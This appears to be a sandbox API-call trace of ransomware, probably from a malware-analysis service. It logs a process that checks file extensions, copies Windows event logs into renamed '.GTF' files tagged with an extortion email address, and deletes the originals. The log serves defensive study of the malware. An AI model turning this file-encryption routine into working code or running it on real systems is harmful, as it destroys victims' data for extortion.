	[0081.431] lstrlenW (lpString=".7z") returned 3
	[0081.431] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.431] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57
	[0081.431] lstrlenW (lpString=".dbf") returned 4
	[0081.431] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.431] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57
	[0081.431] lstrlenW (lpString=".1cd") returned 4
	[0081.431] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.431] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57
	[0081.431] lstrlenW (lpString=".jpg") returned 4
	[0081.431] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.431] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0081.431] lstrlenW (lpString="Microsoft-Windows-MUI%4Admin.evtx") returned 33
	[0081.431] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0081.432] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=69632) returned 1
	[0081.432] CloseHandle (hObject=0x39c) returned 1
	[0081.432] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx")) returned 0x20
	[0081.432] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0081.432] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0081.432] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.432] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.432] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0081.432] GetLastError () returned 0x0
	[0081.432] ReadFile (in: hFile=0x39c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0081.446] WriteFile (in: hFile=0x398, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0081.448] ReadFile (in: hFile=0x39c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.448] WriteFile (in: hFile=0x398, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x116, lpOverlapped=0x0) returned 1
	[0081.448] SetEndOfFile (hFile=0x398) returned 1
	[0081.448] CloseHandle (hObject=0x398) returned 1
	[0081.450] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.450] SetEndOfFile (hFile=0x39c) returned 1
	[0081.451] CloseHandle (hObject=0x39c) returned 1
	[0081.451] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0081.452] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx")) returned 1
	[0081.452] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41
	[0081.452] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41
	[0081.452] lstrlenW (lpString=".doc") returned 4
	[0081.452] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.452] lstrlenW (lpString=".docx") returned 5
	[0081.452] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.452] lstrlenW (lpString=".pdf") returned 4
	[0081.452] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.452] lstrlenW (lpString=".xls") returned 4
	[0081.452] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.452] lstrlenW (lpString=".xlsx") returned 5
	[0081.452] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.452] lstrlenW (lpString=".ppt") returned 4
	[0081.452] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.452] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41
	[0081.452] lstrlenW (lpString=".zip") returned 4
	[0081.452] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.452] lstrlenW (lpString=".rar") returned 4
	[0081.452] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.452] lstrlenW (lpString=".bz2") returned 4
	[0081.452] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.452] lstrlenW (lpString=".7z") returned 3
	[0081.452] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.453] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41
	[0081.453] lstrlenW (lpString=".dbf") returned 4
	[0081.453] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.453] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41
	[0081.453] lstrlenW (lpString=".1cd") returned 4
	[0081.453] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.453] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41
	[0081.453] lstrlenW (lpString=".jpg") returned 4
	[0081.453] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.453] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41
	[0081.453] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41
	[0081.453] lstrlenW (lpString=".doc") returned 4
	[0081.453] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.453] lstrlenW (lpString=".docx") returned 5
	[0081.453] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.453] lstrlenW (lpString=".pdf") returned 4
	[0081.453] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.453] lstrlenW (lpString=".xls") returned 4
	[0081.453] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.453] lstrlenW (lpString=".xlsx") returned 5
	[0081.453] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.453] lstrlenW (lpString=".ppt") returned 4
	[0081.453] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.453] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41
	[0081.453] lstrlenW (lpString=".zip") returned 4
	[0081.453] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.453] lstrlenW (lpString=".rar") returned 4
	[0081.453] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.453] lstrlenW (lpString=".bz2") returned 4
	[0081.453] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.453] lstrlenW (lpString=".7z") returned 3
	[0081.453] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.453] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41
	[0081.453] lstrlenW (lpString=".dbf") returned 4
	[0081.453] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.453] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41
	[0081.453] lstrlenW (lpString=".1cd") returned 4
	[0081.454] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.454] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx") returned 41
	[0081.454] lstrlenW (lpString=".jpg") returned 4
	[0081.454] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.454] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0081.454] lstrlenW (lpString="Microsoft-Windows-NCSI%4Operational.evtx") returned 40
	[0081.454] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0081.454] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=69632) returned 1
	[0081.454] CloseHandle (hObject=0x39c) returned 1
	[0081.458] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx")) returned 0x20
	[0081.458] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0081.458] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0081.458] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.458] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.458] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0081.458] GetLastError () returned 0x0
	[0081.458] ReadFile (in: hFile=0x39c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0081.475] WriteFile (in: hFile=0x398, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0081.477] ReadFile (in: hFile=0x39c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.477] WriteFile (in: hFile=0x398, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x124, lpOverlapped=0x0) returned 1
	[0081.477] SetEndOfFile (hFile=0x398) returned 1
	[0081.478] CloseHandle (hObject=0x398) returned 1
	[0081.479] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.480] SetEndOfFile (hFile=0x39c) returned 1
	[0081.481] CloseHandle (hObject=0x39c) returned 1
	[0081.481] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0081.481] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx")) returned 1
	[0081.481] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48
	[0081.481] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48
	[0081.481] lstrlenW (lpString=".doc") returned 4
	[0081.481] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.481] lstrlenW (lpString=".docx") returned 5
	[0081.481] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.481] lstrlenW (lpString=".pdf") returned 4
	[0081.481] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.481] lstrlenW (lpString=".xls") returned 4
	[0081.481] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.482] lstrlenW (lpString=".xlsx") returned 5
	[0081.482] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.482] lstrlenW (lpString=".ppt") returned 4
	[0081.482] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.482] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48
	[0081.482] lstrlenW (lpString=".zip") returned 4
	[0081.482] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.482] lstrlenW (lpString=".rar") returned 4
	[0081.482] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.482] lstrlenW (lpString=".bz2") returned 4
	[0081.482] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.482] lstrlenW (lpString=".7z") returned 3
	[0081.482] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.482] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48
	[0081.482] lstrlenW (lpString=".dbf") returned 4
	[0081.482] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.482] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48
	[0081.482] lstrlenW (lpString=".1cd") returned 4
	[0081.482] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.482] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48
	[0081.482] lstrlenW (lpString=".jpg") returned 4
	[0081.482] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.482] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48
	[0081.482] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48
	[0081.482] lstrlenW (lpString=".doc") returned 4
	[0081.482] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.482] lstrlenW (lpString=".docx") returned 5
	[0081.482] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.482] lstrlenW (lpString=".pdf") returned 4
	[0081.482] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.482] lstrlenW (lpString=".xls") returned 4
	[0081.482] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.482] lstrlenW (lpString=".xlsx") returned 5
	[0081.482] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.482] lstrlenW (lpString=".ppt") returned 4
	[0081.482] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.482] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48
	[0081.483] lstrlenW (lpString=".zip") returned 4
	[0081.483] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.483] lstrlenW (lpString=".rar") returned 4
	[0081.483] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.483] lstrlenW (lpString=".bz2") returned 4
	[0081.483] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.483] lstrlenW (lpString=".7z") returned 3
	[0081.483] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.483] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48
	[0081.483] lstrlenW (lpString=".dbf") returned 4
	[0081.483] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.483] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48
	[0081.483] lstrlenW (lpString=".1cd") returned 4
	[0081.483] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.483] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx") returned 48
	[0081.483] lstrlenW (lpString=".jpg") returned 4
	[0081.483] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.483] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0081.483] lstrlenW (lpString="Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 50
	[0081.483] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0081.483] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=69632) returned 1
	[0081.483] CloseHandle (hObject=0x39c) returned 1
	[0081.484] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx")) returned 0x20
	[0081.484] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0081.484] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0081.484] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.484] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.484] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0081.830] GetLastError () returned 0x0
	[0081.830] ReadFile (in: hFile=0x39c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0081.839] WriteFile (in: hFile=0x33c, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0081.841] ReadFile (in: hFile=0x39c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0081.841] WriteFile (in: hFile=0x33c, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x138, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x138, lpOverlapped=0x0) returned 1
	[0081.841] SetEndOfFile (hFile=0x33c) returned 1
	[0081.841] CloseHandle (hObject=0x33c) returned 1
	[0081.843] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.843] SetEndOfFile (hFile=0x39c) returned 1
	[0081.844] CloseHandle (hObject=0x39c) returned 1
	[0081.844] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0081.844] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx")) returned 1
	[0081.845] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58
	[0081.845] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58
	[0081.845] lstrlenW (lpString=".doc") returned 4
	[0081.845] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.845] lstrlenW (lpString=".docx") returned 5
	[0081.845] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.845] lstrlenW (lpString=".pdf") returned 4
	[0081.845] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.845] lstrlenW (lpString=".xls") returned 4
	[0081.845] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.845] lstrlenW (lpString=".xlsx") returned 5
	[0081.845] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.845] lstrlenW (lpString=".ppt") returned 4
	[0081.845] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.845] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58
	[0081.845] lstrlenW (lpString=".zip") returned 4
	[0081.845] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.845] lstrlenW (lpString=".rar") returned 4
	[0081.845] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.845] lstrlenW (lpString=".bz2") returned 4
	[0081.845] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.845] lstrlenW (lpString=".7z") returned 3
	[0081.845] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.845] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58
	[0081.845] lstrlenW (lpString=".dbf") returned 4
	[0081.845] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.845] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58
	[0081.845] lstrlenW (lpString=".1cd") returned 4
	[0081.845] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.846] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58
	[0081.846] lstrlenW (lpString=".jpg") returned 4
	[0081.846] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.846] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58
	[0081.846] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58
	[0081.846] lstrlenW (lpString=".doc") returned 4
	[0081.846] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0081.846] lstrlenW (lpString=".docx") returned 5
	[0081.846] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0081.846] lstrlenW (lpString=".pdf") returned 4
	[0081.846] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0081.846] lstrlenW (lpString=".xls") returned 4
	[0081.846] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0081.846] lstrlenW (lpString=".xlsx") returned 5
	[0081.846] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0081.846] lstrlenW (lpString=".ppt") returned 4
	[0081.846] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0081.846] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58
	[0081.846] lstrlenW (lpString=".zip") returned 4
	[0081.846] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0081.846] lstrlenW (lpString=".rar") returned 4
	[0081.846] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0081.846] lstrlenW (lpString=".bz2") returned 4
	[0081.846] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0081.846] lstrlenW (lpString=".7z") returned 3
	[0081.846] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0081.846] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58
	[0081.846] lstrlenW (lpString=".dbf") returned 4
	[0081.846] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0081.846] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58
	[0081.846] lstrlenW (lpString=".1cd") returned 4
	[0081.846] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0081.846] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx") returned 58
	[0081.846] lstrlenW (lpString=".jpg") returned 4
	[0081.846] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0081.847] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0081.847] lstrlenW (lpString="Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 46
	[0081.847] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0081.848] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=69632) returned 1
	[0081.848] CloseHandle (hObject=0x33c) returned 1
	[0081.848] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx")) returned 0x20
